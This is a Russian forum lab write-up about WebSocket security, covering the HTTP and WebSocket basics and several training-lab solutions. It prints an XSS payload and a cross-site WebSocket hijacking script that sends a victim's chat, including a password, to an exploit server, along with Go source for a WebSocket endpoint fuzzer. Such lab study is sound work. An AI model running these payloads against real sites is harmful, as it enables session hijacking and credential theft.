• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Дневник белой шляпы [Часть 6]: Сообщение [Websockets + Tool]

grozdniyandy

White-Hat
Premium
Регистрация
11.08.2023
Сообщения
522
Реакции
677
Гарант сделки
2
GET /xss HTTP 1.1 (Вступление)
Эта статья посвящена websocket, его отличию от обычных HTTP-запросов и атакам, которые могут здесь произойти. Очевидно, что все будет происходить в лабораторной среде. В этой статье будет описан простой инструмент фаззинга, такой как "dirbuster", для поиска веб-сокетов.

Предварительные требования: Базовые знания о web и уязвимостях.
Уровень: Легкий, но не распространенный

Цель этого инструмента - фаззить и найти каталоги, в которые может быть отправлено соединение с websocket. Я не смог найти никакого инструмента для этого (это может быть полезно для фаззинга в больших масштабах). Не забывайте, что тот факт, что веб-сайты используют технологию websocket, не означает, что их главная страница будет принимать подключение websocket, вот почему этот инструмент действительно необходим.

  1. Паутина
    • Дневник белой шляпы [Часть 1]: не DDoS
    • Дневник белой шляпы [Часть 2]: Интервью [GraphQL]
    • Дневник белой шляпы [Часть 3]: Cтажировкa [File Inclusion (Remote / Local)]
    • Дневник белой шляпы [Часть 5]: Удачная догадка [RCE - Проверка простейших CVE, найденных в PHP-приложениях]
  2. ОС
    • Дневник белой шляпы [Часть 4]: Знания [PrivEsc - Linux Capabilities] [Повышение привилегий - Возможности Linux]


Содержание
  1. История
  2. Что такое HTTP?
  3. Что такое Websocket?
  4. Уязвимости веб-сокета
  5. Инструмент для фаззинга
История
Все началось с системы аутентификации, давным-давно, когда я занимался поиском ошибок, я отправлял запросы и не мог их увидеть (какой нуб, да?). Итак, затем я проверил "websocket" в burp suite и увидел websockets, мне было лень, и я решил посмотреть аниме, а не изучать websockets. Прошло некоторое время, и мы встретились с одним из моих друзей, у него, как и у меня, вообще нет социальных сетей (нам просто не с кем поговорить в социальных сетях), поэтому я сказал ему, что если он увидит мой пост о websockets, это значит, что я уволился с работы, это был способ отправить ему "сообщение". Итак, я изучил websockets и опубликовал скриншот прохождения лаборатории. Да, мы живем в каменную эру, и у нас странные способы общения.

Чтобы понять Websocket, мы должны сначала понять HTTP, это поможет нам лучше понять, зачем нам вообще нужен Websocket.

Что такое HTTP?


Ладно, прежде чем понять это, для новичков, вы, ребята, должны понять, что на самом деле представляет собой Интернет. Интернет - это большая сеть, которую мы используем для работы (передачи, хранения и т.д.) с данными. Представьте себе Интернет как "сладкое". Cеть это похоже нa "Сан-Себастьян", который один из "сладких". Тогда веб-протоколы, такие как HTTP, стали бы ингредиентами для создания "Сан-Себастьяна". HTTP - это протокол, используемый в сети (часть Интернета), который используется для передачи данных, например, это может быть открытие веб-страницы. Таким образом, структура была бы такой

  1. Internet
    1. WEB
      • HTTP
      • WebSocket
    2. File Transfer
      • FTP
      • SMB
      • NFS
    3. eMAIL
      • SMTP
      • POP
      • IMAP
Я, конечно, понимаю, что это не самая лучшая картина Интернета, но достаточно хорошая, чтобы объяснить новичкам, что Интернет - это не только Google. Раньше я проверял людей, и мои первые вопросы в основном касались либо модели OSI, либо "В чем разница между Интернетом и WWW?". Очевидно, когда вы это понимаете, это глупый вопрос, но все же большинство людей не могут ответить. Думайте о WWW как о чем-то, что является составной частью Интернета.

Итак, что происходит, когда мы открываем веб-сайт? Я могу ошибаться, я каждый раз пишу об этом в своих статьях, и если кто-то исправляет мою ошибку с уважением, я испытываю только уважение к этому человеку.

Прежде чем ответить на этот вопрос, просто напомню, что DNS подобен словарю-переводчику, он переводит наш домен в IP-адрес, чтобы мы могли получить нужную страницу.При попытке открыть веб-сайт. Во-первых, мы, на стороне клиента или на стороне браузера, проверяем, существует ли домен в нашем dns-кэше или нет. Если он существует, то веб-сайт открывается, в противном случае запрос отправляется нашему интернет-провайдеру (DNS-распознавателю) с доменом, к которому мы пытаемся получить доступ. Теперь наш интернет-провайдер также проверяет свой кэш, и если IP-адрес не найден, он отправляет запрос на DNS-сервер. DNS-сервер находит соответствующий сервер имен TLD, идентифицируя домен верхнего уровня домена (это '.is' из xss.pro). Затем сервер имен TLD сообщит, у какого авторитетного сервера имен есть IP-адрес веб-сайта. Затем наш DNS-распознаватель получит IP-адрес домена, и мы сможем получить доступ к веб-сайту. Очевидно, что DNS-распознаватель будет кэшировать полученный IP-адрес для будущих обращений. Вторая часть - после того, как мы отправим запрос на открытие веб-сайта. Запрос содержит веб-страницу, которую мы хотим открыть, заголовки, протокол (очевидно, HTTP), его метод и используемую версию. Затем мы получим ответ от веб-сервера, содержащий код состояния, заголовки, версию HTTP и исходный код.

Когда мы настраиваем VPN, мы всегда должны проверять наличие утечки DNS, если мы этого не сделаем, наш интернет-провайдер может увидеть домены, к которым мы пытаемся получить доступ.

Давайте возьмем пример HTTP-запроса и ответа и проанализируем его.

Изображение [1]: Запрос и ответ

Изображение [1]: Запрос и ответ​


Давайте проанализируем часть за частью. Сначала мы видим "GET" в "верхней левой" части запроса, это метод запроса. Методы запроса объясняют веб-серверу, что мы хотим сделать. Хотим ли мы (GET) данные, хотим ли мы добавить (POST) данные, хотим ли мы обновить (PUT) уже добавленные данные, хотим ли мы удалить (DELETE) данные или что мы вообще можем сделать с данными (OPTIONS)? Я уверен, что вы поняли суть методов из риторического вопроса, который я задал. Вы можете сказать мне, что когда мы обновляем данные, вместо "PUT" отправляется запрос "POST". Ну, я написал, как это должно быть, а не как оно есть, очевидно, это зависит от разработчиков, некоторые все еще создают логины, которые работают с запросом "GET". Согласно тому, что должно быть, я должен быть баристой, но я пишу статью об информационной безопасности для одного из старейших российских доступных форумов с наибольшим влиянием (я не выдумываю: https://socradar.io/top-5-underground-hacker-forums-that-are-accessible-via-your-web-browsers-such-as-google-chrome-firefox-and-internet-explorer)

Итак, после методов запроса есть путь, который мы пытаемся открыть, в нашем случае это "/", который на самом деле указывает "/index.html ", которая должна быть "индексной" (главной) страницей веб-сайта. Итак, когда мы открываем "/" на самом деле "/index.html "открывается. Затем мы видим протокол и версию. В нашем случае наш протокол - "HTTP", а версия - "1.1". Первый вопрос, который приходит мне в голову, - "Почему это HTTP, если я открыл веб-сайт, который использует HTTPs?", думайте о HTTP как о "Фраппучино", а HTTPs - это "Фраппучино" с дополнительным сиропом. Тот факт, что мы добавили сироп во фраппучино, ничего не меняет. То же самое и здесь, HTTPs - это HTTP + TLS /SSL (криптографический протокол, используемый в качестве уровня (layer) безопасности).

HTTP-версии похожи на модели iPhone. Единственное отличие заключается в том, что большинство людей не видят необходимости в обновлении с версии 1.1 до более новых версий. Версия 1.1 была создана в 1997 году и используется практически повсеместно. Очевидно, что интернет-"Ванги" говорят, что он будет заменен на 2.0 в самом ближайшем будущем, хотя есть версия 3, разница между 2 и 3 в том, что 2 использует TCP, в то время как 3 использует UDP (QUIC), ну, раньше они говорили, что PHP будет заменен, и кажется, это не происходит, лол. Очевидно, я понимаю, что PHP имеет более новые версии, как и HTTP, но для того, чтобы версия 2 стала распространенной, я думаю, что сначала брандмауэры типа "Cloudflare" должны использовать ее по умолчанию.

Шутка:
Мой друг - разработчик, и у него есть знания в языке программирования go (если вы читали мои статьи, вы уже должны понимать, что я стараюсь избегать использования "Я / он / она знает", я использую "Я / Он / она обладает знаниями"). Он более опытный, чем я, и я спрашиваю его, хорошая ли это идея - проверить "Cloud Secutiy". Он такой: начни "Облачную безопасность", как только увидишь вакансию "Требуется разработчик Go". Я все еще не видел ни одного на своей местной доске объявлений о вакансиях, лол. Я думаю, прошло уже 2 года. Если вы не понимаете моих шуток, это нормально, большинство людей не понимают.

Если вы не понимаете моих шуток, ничего страшного, они, вероятно, передаются по HTTP v3.

Ниже мы видим "Заголовки", они подобны данным, которые отправляются нашим браузером на сервер для выдачи соответствующего ответа. Каждый заголовок важен, в нашем случае наиболее важным является "Host", потому что он показывает "Host", к которому мы хотим получить доступ. Как это понять? Представьте себе сервер с 1 IP-адресом и 3 веб-сайтами. И подумайте, что все 3 сайта имеют один и тот же 1 IP-адрес. И этот IP-адрес имеет только 443 и 22 открытый порт. Что произойдет, если мы откроем этот IP-адрес в браузере? Что ж, будет показана страница по умолчанию. Он может содержать все, что угодно, введенное системным администратором. Но как мы можем открыть веб-сайт с этого? Тогда заголовок "Host" начинает работать. Мы можем открыть этот IP-адрес в браузере и поставить заголовок "Host" доменом веб-сайта, который мы пытаемся открыть (в нашем случае на нашем сервере было размещено 3 веб-сайта).

Хорошо, я знаю, что объяснил это сложным образом. Давайте предположим, что у нас есть реальный IP-адрес xss.pro, вот пример запроса:

curl -i -s -k -X $'GET' \ -H $'Host: xss.pro' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36' -H $'Connection: close' \ $'https://[IP-АДРЕС ЗДЕСЬ]/'

Изображение [2]: Пример

Изображение [2]: Пример

Я не собираюсь говорить о заголовках HTTP-запросов и ответов и их использовании.

Теперь часть ответа (правая сторона), "403" и "Запрещено", которые вы видите, - это код состояния (status code) и его значение. Это означает, что у нас нет разрешения на доступ к веб-сайту (поскольку мы не вошли в систему). На обычных веб-сайтах мы получили бы перенаправление (302, потому что оно временное) на страницу входа в систему. После кода состояния мы видим заголовки и исходный код, ничего особенного или неизвестного.

Мне не нравится использовать другие источники в качестве изображений и т.д., Поэтому вот таблица кодов состояния:

Код состоянияОписание
100-199Информационный: Предоставляет информацию.
200-299Успешно: дает нам информацию о том, что все "в порядке".
300-399Перенаправление: Сообщает нам, что есть перенаправление.
400-499Ошибка клиента: указывает на то, что клиент сделал что-то неправильно.
500-599Ошибка сервера: означает, что возникла проблема с сервером.

Примеры для каждого из них по порядку. Если мы переключим протоколы, мы получим заголовок 101, который дает нам информацию о протоколе, на который он переключается. Код состояния 200 указывает на то, что страница открыта и все "ОК". Код состояния 301 указывает на постоянное перенаправление, если мы запрашиваем страницу '/abc.html ' он будет перенаправлен на '/xyz.html. Cтарый мем 404, когда учительница спрашивает домашнее задание, а вы показываете ей "404 не найдено". На самом деле это указывает на то, что пользователь (учитель) запросил неправильную страницу, страницу, которая на самом деле не существует, с сервера (учащегося). Код состояния 505 указывает на то, что версия HTTP не поддерживается. Это когда я использую HTTP v3 для доставки шуток, но вы можете принять только версию 1.1 (шутка)

Также стоит отметить, что HTTP - это протокол без сохранения состояния (stateless). Это означает, что 2 HTTP-запроса вообще не имеют никакого отношения друг к другу. Теперь возникает вопрос, если нет никакой связи между двумя HTTP-запросами, то как веб-сайты понимают, что мы вошли в систему? Это из-за "Cookies", которые изначально были изобретены для хранения товаров в корзине покупок. В нашем случае они запоминают нас с помощью "сессий/сеансов". Обычно у каждого пользователя есть своя сессия.

Теперь представьте, что у нас есть веб-сайт, подобный facebook. Пользователи постоянно добавляют реакции (лайки и т.д.). Поэтому каждый раз, чтобы увидеть реакцию на публикацию, мы должны открывать страницу публикации и обновлять ее, чтобы увидеть, были ли обновлены реакции или нет. Это может сработать при небольшом использовании, но при большом использовании это создаст очень большой ненужный трафик. Каждый раз, чтобы увидеть, сколько лайков мы получили, нам придется обновлять страницу, и если миллионы пользователей будут делать это очень часто, это будет похоже на DDoS атаку.Для таких случаев у нас есть websocket.

Что такое WebSocket?

Websocket
- это протокол, который позволяет как клиентской, так и серверной стороне взаимодействовать друг с другом одновременно. В HTTP нам пришлось бы отправлять несколько запросов каждый раз, но в Websocket мы просто открываем туннель и общаемся через этот туннель, который называется сеансом (не cookie).

Одним из примеров использования websockets может быть живой чат. Вместо того чтобы каждый раз обновлять веб-сайт, чтобы проверить, получили вы сообщение или нет, можно использовать websocket.

Как работает websocket?

Первый HTTP-запрос отправляется на сервер. Запрос должен содержать заголовок "Connection: Upgrade \n Upgrade: websocket", который означает, что будет выполнено обновление соединения, "Sec-WebSocket-Key", который указывает случайное значение в кодировке base64, и Sec-WebSocket-Version, который указывает версию websocket. После этого сервер выдает ответ, содержащий заголовки "Upgrade: websocket", "Connection: Upgrade" и "Sec-WebSocket-Accept". Заголовок "Sec-WebSocket-Accept" - это заголовок "Sec-WebSocket-Key" + "волшебную" строку 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, хэширует ее в SHA1, кодирует в base64 и отправляет в качестве ответа. Это используется для проверки "Sec-WebSocket-Accept" на стороне клиента

После этого процесса туннель был установлен, и существует связь до тех пор, пока одна из сторон не прекратит его.

Так что да, для подключения к websocket нам также нужен HTTP. Также протокол websocket использует ws:// или wss:// для безопасного подключения. Это похоже на HTTP, когда мы используем http:// или https://

Уязвимости веб-сокета

Уязвимости WebSocket подобны всем уязвимостям в web. Они просто называются по-разному. Уязвимости включают CSRF (который они называют межсайтовым перехватом веб-сокета), а все остальные называются как обычно .

Лаборатория № 1

Цель этой лабораторной работы - манипулировать сообщениями WebSocket для использования xss. Я открыл лабораторию и зашел в живой чат. В BurpSuite мы увидим историю HTTP и историю WebSocket. В одном из HTTP-запросов мы увидим ответ, содержащий код состояния 101, который означает, что в протоколе происходит переключение. Если мы нажмем на этот запрос, мы увидим запрос и ответ, которые запрашиваются для установления соединения websocket.

Изображение [3]: Живой чат

Изображение [3]: Живой чат



Изображение [4]: История HTTP

Изображение [4]: История HTTP



Изображение [5]: Запрос Websocket

Изображение [5]: Запрос Websocket


Изображение [6]: Ответ Websocket

Изображение [6]: Ответ Websocket​

Мы видим 2 запроса Websocket, первый из которых отправляется нами на сервер с сообщением "READY", другой - с сервера к нам, содержащий историю нашего чата.

Первое, что приходит на ум, - это отправить полезную нагрузку (payload) xss. Но прежде чем сделать это, давайте напишем кое-что в наш живой чат.

Изображение [7]: Живой чат

Изображение [7]: Живой чат


1693368801508.png

Изображение [8]: Запрос "Yo"​


Давайте отправим наш запрос в repeater и заменим "Yo" полезной нагрузкой xss. Тот, который работает во многих лабораториях:
HTML:
<img src=x onerror=alert(1)//>


Изображение [9]: Отправка полезной нагрузки xss

Изображение [9]: Отправка полезной нагрузки xss



Изображение [10]: Решение лабораторной задачи

Изображение [10]: Решение лабораторной задачи​

Я обновил страницу живого чата, и, как вы видите, наша полезная нагрузка сработала, лабораторная работа была решена без необходимости обновления, поскольку там тоже используются веб-сокеты.

Продолжение в комментах
 

Вложения

  • 1693366793104.png
    1693366793104.png
    51 КБ · Просмотры: 64
Последнее редактирование:
Лаборатория №2

Все скриншоты мои собственные, BurpSuite устарел на самом лабораторном сервере и это не имеет ко мне никакого отношения. Единственное отличие заключается в том, что в этой лаборатории времени есть проверка, которая предотвращает использование специальных символов.В этой лаборатории мы должны снова найти уязвимость xss. Единственное отличие заключается в том, что в этой лаборатории времени есть проверка, которая предотвращает использование специальных символов.

Изображение [11]: Посылаю Yo

Изображение [11]: Посылаю "Yo"



Изображение [12]: Нахождение запроса

Изображение [12]: Нахождение запроса


Изображение [13]: Пробуем полезную нагрузку

Изображение [13]: Пробуем полезную нагрузку


Изображение [14]: Получение ошибки

Изображение [14]: Получение ошибки

Изображение [15]: Пробуем полезную нагрузку через BurpSuite

Изображение [15]: Пробуем полезную нагрузку через BurpSuite


Изображение [16]: Решение лабораторной задачи

Изображение [16]: Решение лабораторной задачи​


Мы попытались отправить полезную нагрузку, и сначала это не сработало, это означает, что есть проверка. Мы должны понять, почему сначала это не сработало, но затем сработало через репитер BurpSuite.


Изображение [17]: Исходный код

Изображение [17]: Исходный код​

Как вы видите из исходного кода, интерфейсная часть проверяет запрос перед передачей его в websocket.

Лаборатория №3

В этой лабораторной работе мы должны найти уязвимость "Command Injection". Эта лаборатория проста в исполнении, я просто хочу показать это как нечто, что может произойти. Честно говоря, я думаю, что вероятность того, что это произойдет, слишком мала.

Я напишу это в одном сообщении, так как объяснять нечего. "Команда" отправляется в кодировке base64 через websocket на сервер, и сервер отвечает с ответом. Наша цель - прочитать flag.

Изображение [18]: Главная страница

Изображение [18]: Главная страница


Изображение [19]: Запрос к серверу

Изображение [19]: Запрос к серверу


Изображение [20]: Декодирование полезной нагрузки, закодированной в base64

Изображение [20]: Декодирование полезной нагрузки, закодированной в base64


Изображение [21]: Команда date

Изображение [21]: Команда "date"


Изображение [22]: Полезная нагрузка, предназначенная для получения флага

Изображение [22]: Полезная нагрузка, предназначенная для получения флага


Изображение [23]: Кодирование полезной нагрузки, предназначенной для получения флага

Изображение [23]: Кодирование полезной нагрузки, предназначенной для получения флага​


Лаборатория №4

В этой лабораторной работе мы воспользуемся уязвимостью для перехвата межсайтовых веб-сокетов (Cross-site WebSocket hijacking). Чтобы понять эту уязвимость, мы должны разобраться в некоторых SOP/CORS/CSP.

Политика одного и того же источника (SOP - Same-Origin Policy) ограничивает доступ к данным одного источника из другого источника. Думайте, что у нас есть домен xss.pro и наш веб-сайт открывается как https:// - в этом случае мы можем запросить данные только у https://xss.pro . Мы не можем использовать http://xss.pro или https://www.xss.pro

Совместное использование ресурсов разных источников (CORS - Cross-origin resource sharing) обеспечивает совместное использование ресурсов между различными доменами. Это похоже на SOP, но с особенностями.

Политика безопасности контента (Content Security Policy - CSP) - это механизм безопасности браузера, который ограничивает ресурсы, которые может загружать страница. Это могут быть изображения, скрипты, iframe и т.д.

Уязвимость для перехвата межсайтовых веб-сокетов возникает (Cross-site WebSocket hijacking) из-за неправильной настройки SOP/CORS. В лабораторных условиях, как мы открыли веб-сайт и установили простое подключение к websocket. Но что, если "хакер" создаст другой веб-сайт, отправит нам ссылку, мы откроем ее, и на этом веб-сайтe будет код javascript, который запускает соединение с сервером websocket? В этом случае злоумышленник сможет "прослушивать" наше соединение. Это сработает только в том случае, если SOP/CORS были настроены неправильно.


Изображение [24]: Главная страница

Изображение [24]: Главная страница



Изображение [25]: Отправка сообщения

Изображение [25]: Отправка сообщения


Изображение [26]: История веб-сокета

Изображение [26]: История веб-сокета​


Я видел код в portswigger, но решил получить его из ChatGPT. Единственное отличие заключается в том, что наш код использует запрос "GET" вместо запроса "POST" для отправки краденого контента на сервер эксплойтов:
HTML:
<script>
const socket = new WebSocket('wss://XXXXXXXXXXXX.web-security-academy.net/chat');

socket.addEventListener('open', event => {
    console.log('WebSocket connection opened.');

    const payload = 'READY';
    socket.send(payload);
});

socket.addEventListener('message', event => {
    console.log('Received response:', event.data);

    const responseValue = event.data;
    const url = `https://exploit-XXXXXXXXXXXX.exploit-server.net/?response=${encodeURIComponent(responseValue)}`;

    fetch(url)
    .then(response => {
        console.log('HTTP response received:', response.status);
    })
    .catch(error => {
        console.error('Error sending HTTP request:', error);
    });
});

socket.addEventListener('error', event => {
    console.error('WebSocket error:', event);
});

socket.addEventListener('close', event => {
    console.log('WebSocket connection closed:', event.code, event.reason);
});

</script>





Изображение [27]: Кража соединения с веб-сокетом

Изображение [27]: Кража соединения с веб-сокетом​



Связь жертвы:
Код:
X.X.X.X      2023-08-30 21:46:15 +0000 "GET /?response={"user":"Hal Pline","content":"Hello, how can I help?"}HTTP/1.1 "200" user-agent: Mozilla/5.0 (Victim )AppleWebKit/537.36 (KHTML,likeGecko) Chrome/113.0.0.0 Safari/537.36"
X.X.X.X      2023-08-30 21:46:15 +0000 "GET /?response={"user":"You","content":"I forgot my password"}HTTP/1.1 "200" user-agent: Mozilla/5.0 (Victim )AppleWebKit/537.36 (KHTML,likeGecko) Chrome/113.0.0.0 Safari/537.36"
X.X.X.X      2023-08-30 21:46:15 +0000 "GET /?response={"user":"Hal Pline","content":"No problem carlos, it&apos;s 98v8xgvdkgztswui1fp3"}HTTP/1.1 "200" user-agent: Mozilla/5.0 (Victim )AppleWebKit/537.36 (KHTML,likeGecko) Chrome/113.0.0.0 Safari/537.36"
X.X.X.X      2023-08-30 21:46:15 +0000 "GET /?response={"user":"You","content":"Thanks, I hope this doesn&apos;t come back to bite me!"}HTTP/1.1 "200" user-agent: Mozilla/5.0 (Victim )AppleWebKit/537.36 (KHTML,likeGecko) Chrome/113.0.0.0 Safari/537.36"
X.X.X.X      2023-08-30 21:46:15 +0000 "GET /?response={"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"} HTTP/1.1 "200" user-agent: Mozilla/5.0 (Victim )AppleWebKit/537.36 (KHTML,likeGecko) Chrome/113.0.0.0 Safari/537.36"

Получив пароль пользователя "Carlos", я просто вошел в систему и решил задачу лаборатории.

Изображение [28]: Решение лабораторной задачи

Изображение [28]: Решение лабораторной задачи
Лабораторных работ, которые мы выполнили до этого момента, достаточно, чтобы вы могли продолжить самостоятельно.

Лабораторные ссылки:

Код:
https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities
https://www.attackdefense.com/challengedetails?cid=1643
https://www.attackdefense.com/challengedetails?cid=1644
https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab
 
Последнее редактирование:
Инструмент для фаззинга

Так зачем же нам это вообще нужно? Представьте, что у нас есть веб-сайт с доменом xss.pro , часть веб -сайта с живым чатом xss.pro/chat принимает подключения к веб-сокету. Теперь представьте, что у нас тысячи доменов, в этом случае мы не сможем просто проверить подключение к основному домену, нам нужно будет размыть каталоги. Этот инструмент возьмет файл списка доменов и файл списка каталогов из пользовательских каталогов и каталогов fuzz с потоковой передачей. Я буду использовать язык программирования "Go". В своих предыдущих статьях я так и не написал достойного инструмента. Этот инструмент будет достаточно достойным.

Я буду использовать Kali Linux для установки и предоставлю скомпилированные версии приложения для всех ОС. Несмотря на то, что я написал код, я не несу ответственности за какой-либо вирус, который вы можете получить из скомпилированной версии. Я предпочитаю, чтобы вы скомпилировали его самостоятельно, используя предоставленный код.

Сначала мы должны установить Go:
Bash:
sudo apt update
sudo apt install golang-go
mkdir WSFuzz
cd WSFuzz
go mod init WSFuzz
go get -u github.com/gorilla/websocket

Сохраните этот код в файле с именем "WSFuzz.go":
Код:
package main

import (
        "bufio"
        "fmt"
        "log"
        "net/url"
        "os"
        "strings"

        "github.com/gorilla/websocket"
)

func main() {
        fmt.Println("─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────")
        fmt.Println("─████████──████████─██████████████─██████████████────────██████████─██████████████───────████████─██████──────────██████─██████████████─████████─")
        fmt.Println("─██░░░░██──██░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██────────██░░░░░░██─██░░░░░░░░░░██───────██░░░░██─██░░██──────────██░░██─██░░░░░░░░░░██─██░░░░██─")
        fmt.Println("─████░░██──██░░████─██░░██████████─██░░██████████────────████░░████─██░░██████████───────██░░████─██░░██──────────██░░██─██░░██████████─████░░██─")
        fmt.Println("───██░░░░██░░░░██───██░░██─────────██░░██──────────────────██░░██───██░░██───────────────██░░██───██░░██──────────██░░██─██░░██───────────██░░██─")
        fmt.Println("───████░░░░░░████───██░░██████████─██░░██████████──────────██░░██───██░░██████████───────██░░██───██░░██──██████──██░░██─██░░██████████───██░░██─")
        fmt.Println("─────██░░░░░░██─────██░░░░░░░░░░██─██░░░░░░░░░░██──────────██░░██───██░░░░░░░░░░██───────██░░██───██░░██──██░░██──██░░██─██░░░░░░░░░░██───██░░██─")
        fmt.Println("───████░░░░░░████───██████████░░██─██████████░░██──────────██░░██───██████████░░██───────██░░██───██░░██──██░░██──██░░██─██████████░░██───██░░██─")
        fmt.Println("───██░░░░██░░░░██───────────██░░██─────────██░░██──────────██░░██───────────██░░██───────██░░██───██░░██████░░██████░░██─────────██░░██───██░░██─")
        fmt.Println("─████░░██──██░░████─██████████░░██─██████████░░██─██████─████░░████─██████████░░██───────██░░████─██░░░░░░░░░░░░░░░░░░██─██████████░░██─████░░██─")
        fmt.Println("─██░░░░██──██░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░██─██░░░░░░██─██░░░░░░░░░░██───────██░░░░██─██░░██████░░██████░░██─██░░░░░░░░░░██─██░░░░██─")
        fmt.Println("─████████──████████─██████████████─██████████████─██████─██████████─██████████████───────████████─██████──██████──██████─██████████████─████████─")
        fmt.Println("─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────")

        if len(os.Args) < 3 || len(os.Args) > 5 {
                fmt.Println("Usage: go run WSFuzz.go <URL FILE> <DIR FILE> [-h] [-o <OUTPUT FILE>]")
                return
        }

        urlFilePath := os.Args[1]
        dirFilePath := os.Args[2]
        helpFlag := false
        outputFileName := ""

        for i := 3; i < len(os.Args); i++ {
                if os.Args[i] == "-h" {
                        helpFlag = true
                } else if os.Args[i] == "-o" && i+1 < len(os.Args) {
                        outputFileName = os.Args[i+1]
                        i++
                }
        }

        if helpFlag {
                printHelp()
                return
        }

        urls, err := readLinesFromFile(urlFilePath)
        if err != nil {
                log.Fatal("Error reading URLs:", err)
        }

        directories, err := readLinesFromFile(dirFilePath)
        if err != nil {
                log.Fatal("Error reading directories:", err)
        }

        uniqueURLs := make(map[string]struct{})
        for _, inputURL := range urls {
                inputURL = addHTTPSchemeIfNeeded(inputURL)
                u, err := url.Parse(inputURL)
                if err != nil {
                        log.Printf("Invalid URL '%s': %v\n", inputURL, err)
                        continue
                }

                host := strings.TrimPrefix(u.Host, "www.")
                uniqueURLs[host] = struct{}{}
        }

        uniqueDirs := make(map[string]struct{})
        for _, dirPath := range directories {
                dirPath = strings.TrimPrefix(dirPath, "/")
                uniqueDirs[dirPath] = struct{}{}
        }

        var outputLines []string
        for host := range uniqueURLs {
                for dir := range uniqueDirs {
                        dirURL := fmt.Sprintf("%s/%s", host, dir)
                        dirURL = strings.TrimSuffix(dirURL, "/")
                        if checkConnection(dirURL, "ws") {
                                outputLines = append(outputLines, "ws://"+dirURL)
                        }
                        if checkConnection(dirURL, "wss") {
                                outputLines = append(outputLines, "wss://"+dirURL)
                        }
                }
        }

        if outputFileName != "" {
                err := writeLinesToFile(outputFileName, outputLines)
                if err != nil {
                        log.Fatal("Error writing to output file:", err)
                }
        }
}


func readLinesFromFile(filename string) ([]string, error) {
        var lines []string

        file, err := os.Open(filename)
        if err != nil {
                return nil, err
        }
        defer file.Close()

        scanner := bufio.NewScanner(file)
        for scanner.Scan() {
                lines = append(lines, scanner.Text())
        }
        if err := scanner.Err(); err != nil {
                return nil, err
        }

        return lines, nil
}

func addHTTPSchemeIfNeeded(inputURL string) string {
        if !strings.HasPrefix(inputURL, "http://") && !strings.HasPrefix(inputURL, "https://") {
                inputURL = "http://" + inputURL
        }
        return inputURL
}

func checkConnection(u string, scheme string) bool {
        fullURL := fmt.Sprintf("%s://%s", scheme, u)
        fmt.Printf("Checking connection for: %s\n", fullURL)

        conn, _, err := websocket.DefaultDialer.Dial(fullURL, nil)
        if err != nil {
                log.Printf("Connection error for %s: %v\n", fullURL, err)
                return false
        }
        defer conn.Close()

        fmt.Println("Connection established")
        return true
}

func printHelp() {
        fmt.Println("Usage: go run WSFuzz.go <URL FILE> <DIR FILE> [-h] [-o <OUTPUT FILE>]")
        fmt.Println("Options:")
        fmt.Println("  -h            Display this help message")
        fmt.Println("  -o <filename> Specify an output file to save 'Connection Established' URLs")
}

func writeLinesToFile(filename string, lines []string) error {
        file, err := os.Create(filename)
        if err != nil {
                return err
        }
        defer file.Close()

        writer := bufio.NewWriter(file)
        for _, line := range lines {
                _, err := writer.WriteString(line + "\n")
                if err != nil {
                        return err
                }
        }

        err = writer.Flush()
        if err != nil {
                return err
        }

        return nil
}

Чтобы запустить приложение, используйте эту команду:
Bash:
go run WSFuzz.go <Файл ссылок> <Файл директорий> -o xorosho.txt

Что я учел?
  • Проблемы, которые могут возникнуть при вводе URL-адресов и каталогов
  • Удаление дубликатов
  • Подключение как с помощью ws://, так и с помощью wss://
Чего я не учел?
  • Многопоточность

Изображение [29]: WSFuzz

Изображение [29]: WSFuzz​


Я приложу скомпилированные версии. Для тех, кто не знает, скомпилированная версия позволяет нам запускать приложение без необходимости устанавливать Go или что-либо еще. Я протестировал скомпилированную версию только на Linux 64x и OS X (macOS).

Изображение [30]: WSFuzz

Изображение [30]: WSFuzz​


Virustotal:
  • Windows 64: https://www.virustotal.com/gui/file/9fd33324d99ee686a3f9042bf4951dc98e9f4ce19ec809a0660b8de2d25af7d2
  • Windows 32: https://www.virustotal.com/gui/file/02d4a9fd03acc402365a287365020a63c23f9c7c141d0aa7edce41b972709341
  • Linux 64: https://www.virustotal.com/gui/file/6674799739d8d79f65be37cc76c4e6dd0f507ec005efc9811125f189ec20a117
  • Linux 32: https://www.virustotal.com/gui/file/9374abe64d84155151b082565b753b71520a938538525cb18750296c2c8bb9d2
  • OS X(MacOS): https://www.virustotal.com/gui/file/3b4b0f360f59a8880034ce4b5ba3d8f02bbd0afc74f0d301788f914d1831a00d
Zip-файл не может быть загружен на форум, поэтому вот ссылка на upload.ee:
Код:
https://www.upload.ee/files/15636254/Archive.zip.html

Автор grozdniyandy

Источник https://xss.pro/​

 
Последнее редактирование:
Fuck yeah. Fine job, young man!
 
(Не забываем что я белый) - слушай, "белый", пробежался я по твоим статьям, такие оффтоп вопросы назрели: а чем твое вайтхэтовство обусловлено, помимо моральных принципов и жизненных ориентиров? Альтер-эго Саши белого из нулевых? Подкреплено это чем, в конце концов? Может ты получил OSCP\CEH\GPEN\HFI, а не просто корочку о двухнедельных курсах "бровки\ноготочки" (eWPT,CSA) и даже этот серт мог вполне завалить и не пройти :D. Белые личность не скрывают, где пруфы, билли? Пруфов наличия нет, только участие. Есть мэйби высшее по какой то аналогичной специальности, либо работаешь по ней официально, или может ты занимал призовые в каких то оф. CTF в составе рэд тим, ты известный багхантер на h1 или аналогах, у тебя есть известные исследования и публикации?

